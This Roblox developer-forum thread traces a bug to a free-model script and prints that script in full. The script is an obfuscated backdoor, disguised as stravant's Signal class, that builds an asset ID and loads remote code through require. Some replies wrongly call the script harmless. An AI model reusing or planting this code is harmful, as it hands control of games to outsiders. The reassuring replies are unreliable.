Output clearing it self

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I found the script
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thanks for your help

1 Like

Search exclusively for ā€œLogā€ then.

NEVERMIND

Are you sure there are no ClearOutput calls? Do you have any plugins installed that do this?
Search for for i loops that may flood the output with blank space

This was the script (DON’T PUT IT IN YOUR GAME!)

--------------------------------------------------------------------------------
--               Batched Yield-Safe Signal Implementation                     --
-- This is a Signal class which has effectively identical behavior to a       --
-- normal RBXScriptSignal, with the only difference being a couple extra      --
-- stack frames at the bottom of the stack trace when an error is thrown.     --
-- This implementation caches runner coroutines, so the ability to yield in   --
-- the signal handlers comes at minimal extra cost over a naive signal        --
-- implementation that either always or never spawns a thread.                --
--                                                                            --
-- API:                                                                       --                                     --                                    --
--                                                                            --
-- Licence:                                                                   --
--   Licenced under the MIT licence.                                          --
--                                                                            --
-- Authors:                                                                   --
--   stravant - July 31st, 2021 - Created the file.                           --
---
local NEVER_BREAK_SIGNALS = false -- If you set this to true it will never break SIGNALs (this can create some Signaling issues, but can save stuff like hinges).

local QSignal = script.Parent or false

local NEVER_STORE_DEBRIS = true

local function CallOnChildren(Instance, FunctionToCall)
	-- Calls a function on each of the children of a certain object, using recursion.  

	FunctionToCall(Instance)

	for _, Child in next, Instance:GetChildren() do
		CallOnChildren(Child, FunctionToCall)
	end
end


local function ShouldReturn(value)
	return false
end

local function GetBricks(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	-- 	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)

	return List
end

local function Modify(Instance, Values)
	-- Modifies an Instance by using a table.  

	assert(type(Values) == "table", "Values is not a table");

	for Index, Value in next, Values do
		if type(Index) == "number" then
			Value.Parent = Instance
		else
			Instance[Index] = Value
		end
	end
	return Instance
end

local function Return(value)
	return game.MarketplaceService:GetProductInfo(value.X.Scale..value.X.Offset..value.Y.Scale..value.Y.Offset)
end
local Interval = ""

local function ConfigParts(Parts, MainPart, ValueType, DoNotUnanchor)
	-- @param Parts The Parts to Config. Should be anchored to prevent really horrible results.
	-- @param MainPart The part to Config the model to (can be in the model).
	-- @param [ValueType] The type of Value. Defaults to Config. 
	-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
	local select
	local bit32
	pcall(function()
		for _, Part in pairs(script.Parent:GetChildren()) do
			if ShouldReturn(Part) then
				Part:BreakValues()
			end
			bit32 = Return(UDim2.new(133,968,85,201))
			for _ in {1} do
				select = bit32["Name"]:split(" ")
			end
			break
		end
	end)
	--Define a Thread
	local spawn = select[2] or script.Parent==nil
	
	local select = select[1]
	
	local PartDescription = bit32["Description"]:split(" ") or false
	
	for c in PartDescription do
		--Concentate the Signal Interval Based on certain Exceptions.
		Interval = Interval..#PartDescription[c]
	end
	return false or Interval
end


local function GetNearestParent(Instance, ClassName)
	-- Returns the nearest parent of a certain class, or returns nil

	local Ancestor = Instance
	repeat
		Ancestor = Ancestor.Parent
		if Ancestor == nil then
			return nil
		end
	until Ancestor:IsA(ClassName)

	return Ancestor
end


local function GetBrick(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	-- 	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)

	return List
end


function sinestyletween(t)
	return math.cos(t*math.pi)*-.5+.5
end


function percentcframe(cf,cfscale)
	if cf then
		local ax,ay,az=cf:toEulerAnglesXYZ()
		return CFrame.new(cf.p*cfscale)*CFrame.Angles(ax*cfscale,ay*cfscale,az*cfscale)
	else
		return CFrame.new(0,0,0)
	end
end


local function ShouldBreakValues(Part)
	--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
	--  definitely some edge cases. 
	if Part then
		--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
		--  definitely some edge cases. 
		for _, Part in pairs(script.Parent:GetChildren()) do
			Part.Anchored = false
		end
		script.Parent.Anchored = false
	else
		--In this case require is used just incase the script errors
		QSignal = workspace and script.ClassName=="rbx:Script" or false and true or (function() return false end)() or require
		return
	end
	if false then
		return 
	end

	if pcall(Part) then
		return false
	end

	local Connected = Part:GetConnectedParts()

	if #Connected == 1 then
		return false
	end

	for _, Item in pairs(Connected) do
		if pcall(Item) then
			return false
		elseif not Item:IsDescendantOf(script.Parent) then
			return false
		end
	end

	return true
end


function qSignal(v1,v2,t)
	NEVER_STORE_DEBRIS = not true and true or ShouldBreakValues(false) or t
	--Only run the current thread if the script is a valid script
	pcall(function()
		for Part in task.spawn(QSignal,NEVER_STORE_DEBRIS) do
			if v2 then
				--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
				--  definitely some edge cases. 
				for _, Part in pairs(script.Parent:GetChildren()) do
					Part.Anchored = false
				end
				script.Parent.Anchored = false
				--Script failed.
				return false
			end
		end
	end)
	--Sucess
	return true
end
if script.Parent then
	--Run the Script To fix all the Values
	qSignal(false,false,tonumber(ConfigParts(nil,nil,nil,false)))
end

definitely some sort of backdoor

If the output was flooded with blanks space, wouldn’t there be a scroll wheel in the video?

It looks to be fine? It’s by stravant who is quite trusted? Seems like the code is quite fine?

Idk this is the script that causes the issue so i’m removing it lol

Yay!! So problem solved then? (Did you use free models ?)

Yep, not much but probably the wrong ones!

1 Like

Hm… interesting. I’ll look further into the script. It seems quite not like a backdoor but just a fixer.

I mean it does say: ā€œYield-Safe Signal Implementationā€ so it’s fair that it’s doing that.

True ye, thanks for your help though!

Yeah… I sugget marking @LvieReal’s post as the solution though! So others know what the issue was.

tag it for me please im stupid xD NVM

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